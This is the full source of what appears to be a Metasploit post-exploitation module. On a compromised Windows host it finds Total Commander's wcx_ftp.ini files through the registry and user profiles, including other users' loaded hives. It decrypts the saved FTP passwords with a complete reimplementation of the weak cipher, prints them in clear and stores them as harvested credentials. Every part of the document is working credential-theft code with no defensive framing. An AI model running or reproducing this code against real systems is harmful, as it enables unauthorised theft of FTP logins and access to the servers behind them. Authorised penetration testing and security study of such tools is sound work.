## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles include Msf::Post::File def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather Total Commander Saved Password Extraction', 'Description' => %q{ This module extracts weakly encrypted saved FTP Passwords from Total Commander. It finds saved FTP connections in the wcx_ftp.ini file. }, 'License' => MSF_LICENSE, 'Author' => [ 'theLightCosine'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_eof core_channel_open core_channel_read core_channel_write ] } } ) ) end def run print_status('Checking Default Locations...') check_systemroot grab_user_profiles.each do |user| next if user['AppData'].nil? next if user['ProfileDir'].nil? check_userdir(user['ProfileDir']) check_appdata(user['AppData']) end commander_key = 'HKLM\\Software\\Ghisler\\Total Commander' hklmpath = registry_getvaldata(commander_key, 'FtpIniName') case hklmpath when nil print_status('Total Commander Does not Appear to be Installed Globally') when 'wcx_ftp.ini' print_status('Already Checked SYSTEMROOT') when '.\\wcx_ftp.ini' hklminstpath = registry_getvaldata(commander_key, 'InstallDir') || '' if hklminstpath.empty? print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini') else check_other(hklminstpath + '\\wcx_ftp.ini') end when /APPDATA/ print_status('Already Checked AppData') when /USERPROFILE/ print_status('Already Checked USERPROFILE') else check_other(hklmpath) end userhives = load_missing_hives userhives.each do |hive| next if hive['HKU'].nil? print_status("Looking at Key #{hive['HKU']}") profile_commander_key = "#{hive['HKU']}\\Software\\Ghisler\\Total Commander" hkupath = registry_getvaldata(profile_commander_key, 'FtpIniName') print_status("HKUP: #{hkupath}") case hkupath when nil print_status('Total Commander Does not Appear to be Installed on This User') when 'wcx_ftp.ini' print_status('Already Checked SYSTEMROOT') when '.\\wcx_ftp.ini' hklminstpath = registry_getvaldata(profile_commander_key, 'InstallDir') || '' if hklminstpath.empty? print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini') else check_other(hklminstpath + '\\wcx_ftp.ini') end when /APPDATA/ print_status('Already Checked AppData') when /USERPROFILE/ print_status('Already Checked USERPROFILE') else check_other(hkupath) end end unload_our_hives(userhives) end def check_userdir(path) filename = "#{path}\\wcx_ftp.ini" check_other(filename) end def check_appdata(path) filename = "#{path}\\GHISLER\\wcx_ftp.ini" check_other(filename) end def check_systemroot winpath = expand_path('%SYSTEMROOT%\\wcx_ftp.ini') check_other(winpath) end def check_other(filename) if file?(filename) print_status("Found File at #{filename}") get_ini(filename) else print_status("#{filename} not found ....") end end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: refname, session_id: session_db_id, origin_type: :session, private_data: opts[:password], private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end def get_ini(filename) config = client.fs.file.new(filename, 'r') parse = config.read ini = Rex::Parser::Ini.from_s(parse) ini.each_key do |group| next if (group == 'General') || (group == 'default') || (group == 'connections') print_status("Processing Saved Session #{group}") host = ini[group]['host'] username = ini[group]['username'] passwd = ini[group]['password'] next if passwd.nil? passwd = decrypt(passwd) (host, port) = host.split(':') port = 21 if port.nil? print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***") if session.db_record source_id = session.db_record.id else source_id = nil end report_cred( ip: host, port: port, service_name: 'ftp', user: username, password: passwd ) end end def seed(nMax) @vseed = ((@vseed * 0x8088405) & 0xffffffff) + 1 return (((@vseed * nMax) >> 32) & 0xffffffff) end def shift(n1, n2) first = (n1 << n2) & 0xffffffff second = (n1 >> (8 - n2)) & 0xffffffff retval = (first | second) & 0xff return retval end def decrypt(pwd) pwd2 = [] pwd.scan(/../) { |a| pwd2 << (a.to_i 16) } len = pwd2.length - 4 pwd3 = [] @vseed = 849521 pwd2.each do |a| blah = seed(8) blah2 = shift(a, blah) pwd3 << blah2 end @vseed = 12345 256.times do |_i| a = seed(len) b = seed(len) t = pwd3[a] pwd3[a] = pwd3[b] pwd3[b] = t end @vseed = 42340 (0..len).each do |i| pwd3[i] = (pwd3[i] ^ seed(256)) & 0xff end @vseed = 54321 (0..len).each do |i| foo = seed(256) pwd3[i] = (pwd3[i] - foo) & 0xff end fpwd = '' pwd3[0, len].map { |a| fpwd << a.chr } return fpwd end end